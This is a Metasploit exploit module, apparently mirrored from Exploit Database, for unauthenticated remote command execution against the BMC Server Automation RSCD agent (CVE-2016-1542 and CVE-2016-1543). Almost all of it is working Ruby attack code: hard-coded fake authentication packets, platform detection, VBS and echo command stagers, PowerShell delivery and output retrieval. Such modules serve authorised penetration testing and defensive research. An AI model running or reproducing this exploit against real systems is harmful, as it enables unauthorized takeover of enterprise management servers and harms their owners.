BMC Server Automation RSCD Agent – NSH Remote Command Execution (Metasploit)

• Exploit Database
• 84 阅读

• 作者： Metasploit
  日期： 2018-02-01
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43939/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'BMC Server Automation RSCD Agent NSH Remote ' \
   'Command Execution',
  'Description' => %q(
  This module exploits a weak access control check in the BMC Server
  Automation RSCD agent that allows arbitrary operating system commands
  to be executed without authentication.
  Note: Under Windows, non-powershell commands may need to be prefixed
  with 'cmd /c'.
  ),
  'Author'=>
  [
  'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery
  'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module
  ],
  'References'=>
  [
  ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],
  ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],
  ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],
  ['CVE', '2016-1542'],
  ['CVE', '2016-1543']
  ],
  'DisclosureDate'=> 'Mar 16 2016',
  'Privileged'=> false,
  'Stance'=> Msf::Exploit::Stance::Aggressive,
  'Platform'=> %w[win linux unix],
  'Targets' =>
  [
  ['Automatic', {}],
  [
  'Windows/VBS Stager', {
  'Platform' => 'win',
  'Payload' => { 'Space' => 8100 }
  }
  ],
  [
  'Unix/Linux', {
  'Platform' => %w[linux unix],
  'Payload' => { 'Space' => 32_700 }
  }
  ],
  [
  'Generic Command', {
  'Arch' => ARCH_CMD,
  'Platform' => %w[linux unix win]
  }
  ]
  ],
  'DefaultTarget' => 0,
  'License' => MSF_LICENSE,
  'Payload' => {
  'BadChars' => "\x00\x09\x0a"
  },
  'CmdStagerFlavor' => %w[vbs echo])
  )
  
  register_options(
  [
  Opt::RPORT(4750)
  ]
  )
  
  deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
  end
  
  def check
  # Send agentinfo request and check result
  vprint_status('Checking for BMC with agentinfo request.')
  res = send_agentinfo_request
  
  # Check for successful platform detection
  if res[0] == 1
  vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
  return CheckCode::Detected
  end
  
  # Get first four bytes of the packet which should hold the content length
  res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0
  
  # Return unknown if the packet format appears correct (length field check)
  if res[1] && res[1].length - 4 == res_len
  vprint_warning('Target appears to be BMC, however an unexpected ' \
   'agentinfo response was returned.')
  vprint_warning('Response: ' + res[1])
  return CheckCode::Unknown
  end
  
  # Invalid response, probably not a BMC RSCD target
  vprint_error('The target does not appear to be a BMC RSCD agent.')
  vprint_error('Response: ' + res[1]) if res[1]
  CheckCode::Safe
  end
  
  def exploit
  # Do auto target selection
  target_name = target.name
  
  if target_name == 'Automatic'
  # Attempt to detect the target platform
  vprint_status('Detecting remote platform for auto target selection.')
  platform = send_agentinfo_request
  
  # Fail if platform detection was unsuccessful
  if platform[0].zero?
  fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \
  'detecting target platform.')
  end
  
  # Set target based on returned platform
  target_name = if platform[1].downcase.include?('windows')
  'Windows/VBS Stager'
  else
  'Unix/Linux'
  end
  end
  
  # Exploit based on target
  vprint_status('Generating and delivering payload.')
  if target_name == 'Windows/VBS Stager'
  if payload.raw.start_with?('powershell', 'cmd')
  execute_command(payload.raw)
  else
  execute_cmdstager(flavor: :vbs, linemax: payload.space)
  end
  handler
  elsif target_name == 'Unix/Linux'
  execute_cmdstager(flavor: :echo, linemax: payload.space)
  handler
  elsif target_name == 'Generic Cmd'
  send_nexec_request(payload.raw, true)
  end
  end
  
  # Execute a command but don't print output
  def execute_command(command, opts = {})
  if opts[:flavor] == :vbs
  if command.start_with?('powershell') == false
  if command.start_with?('cmd') == false
  send_nexec_request('cmd /c ' + command, false)
  return
  end
  end
  end
  send_nexec_request(command, false)
  end
  
  # Connect to the RSCD agent and execute a command via nexec
  def send_nexec_request(command, show_output)
  # Connect and auth
  vprint_status('Connecting to RSCD agent and sending fake auth.')
  connect_to_rscd
  send_fake_nexec_auth
  
  # Generate and send the payload
  vprint_status('Sending command to execute.')
  sock.put(generate_cmd_pkt(command))
  
  # Finish the nexec request
  sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \
   "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \
   "\x35\x38\x3b\x32\x34\x38\x35\x31")
  sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
   "\x30\x30\x30\x30\x32\x65\x7f")
  sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
   "\x30\x30\x30\x30\x32\x69\x03")
  sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
   "\x30\x30\x30\x30\x32\x74\x31")
  sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \
   "\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \
   "\x34\x31")
  sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \
   "\x30\x30\x30\x30\x31\x7a")
  
  # Get the response from the RSCD agent and disconnect
  vprint_status('Reading response from RSCD agent.')
  res = read_cmd_output
  if show_output == true
  if res && res[0] == 1
  print_good("Output\n" + res[1])
  else
  print_warning('Command execution failed, the command may not exist.')
  vprint_warning("Output\n" + res[1])
  end
  end
  disconnect
  end
  
  # Attempt to retrieve RSCD agent info and return the platform string
  def send_agentinfo_request
  # Connect and send fake auth
  vprint_status('Connecting to RSCD agent and sending fake auth.')
  connect_to_rscd
  send_fake_agentinfo_auth
  
  # Send agentinfo request, read the response, and disconnect
  vprint_status('Requesting agent information.')
  sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \
   "\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \
   "\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \
   "\x31\x30\x30\x30\x30\x30\x30\x30\x30")
  res = sock.get_once
  disconnect
  
  # Return the platform field from the response if it looks valid
  res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
  return [1, res.split(';')[4]] if res &&
   res.split(';').length > 6 &&
   res.length == (res_len + 4)
  
  # Invalid or unexpected response format, return the complete response
  [0, res]
  end
  
  # Connect to the target and upgrade to an encrypted connection
  def connect_to_rscd
  connect
  sock.put('TLS')
  sock.extend(Rex::Socket::SslTcp)
  sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
  sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
  sock.sslctx.options = OpenSSL::SSL::OP_ALL
  sock.sslctx.ciphers = 'ALL'
  sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
  sock.sslsock.connect
  end
  
  # Send fake agentinfo auth packet and ignore the response
  def send_fake_agentinfo_auth
  sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \
   "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \
   "\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \
   "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \
   "\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \
   "\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) +
   "\x3b\x55\x54\x46\x2d\x38")
  sock.get_once
  end
  
  # Send fake nexec auth packet and ignore theresponse
  def send_fake_nexec_auth
  sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \
   "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \
   "\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \
   "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \
   "\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \
   "\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \
   "\x54\x46\x2d\x38")
  sock.get_once
  end
  
  # Generate a payload packet
  def generate_cmd_pkt(command)
  # Encode back slashes
  pkt = command.gsub('\\', "\xc1\xdc")
  
  # Encode double quotes unless powershell is being used
  pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell')
  
  # Construct the body of the payload packet
  pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \
  "\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" +
  pad_number(pkt.length) + pkt
  
  # Prefix with the packet length and return
  [pkt.length].pack('N') + pkt
  end
  
  # Convert the given number to a hex string padded to 8 chars
  def pad_number(num)
  format('%08x', num)
  end
  
  # Read the command output from the server
  def read_cmd_output
  all_output = ''
  response_done = false
  
  # Read the entire response from the RSCD service
  while response_done == false
  # Read a response chunk
  chunk = sock.get_once
  next unless chunk && chunk.length > 4
  chunk_len = chunk[0..3].unpack('N')[0]
  chunk = chunk[4..chunk.length]
  chunk += sock.get_once while chunk.length < chunk_len
  
  # Check for the "end of output" chunk
  if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \
  "\x61\x30\x30\x30\x30\x30\x30" \
  "\x30\x32\x78")
  # Response has completed
  response_done = true
  elsif all_output == ''
  # Keep the first response chunk as-is
  all_output += chunk
  
  # If the command failed, we're done
  response_done = true unless all_output[8..15].to_i(16) != 1
  else
  # Append everything but the length fields to the output buffer
  all_output += chunk[17..chunk.length]
  end
  end
  
  # Return output if response indicated success
  return [1, all_output[26..all_output.length]] if
  all_output &&
  all_output.length > 26 &&
  all_output[8..15].to_i(16) == 1
  
  # Return nothing if there isn't enough data for error output
  return [0, ''] unless all_output && all_output.length > 17
  
  # Get the length of the error output and return the error
  err_len = all_output[8..15].to_i(16) - 1
  [0, all_output[17..17 + err_len]]
  end
  end
  

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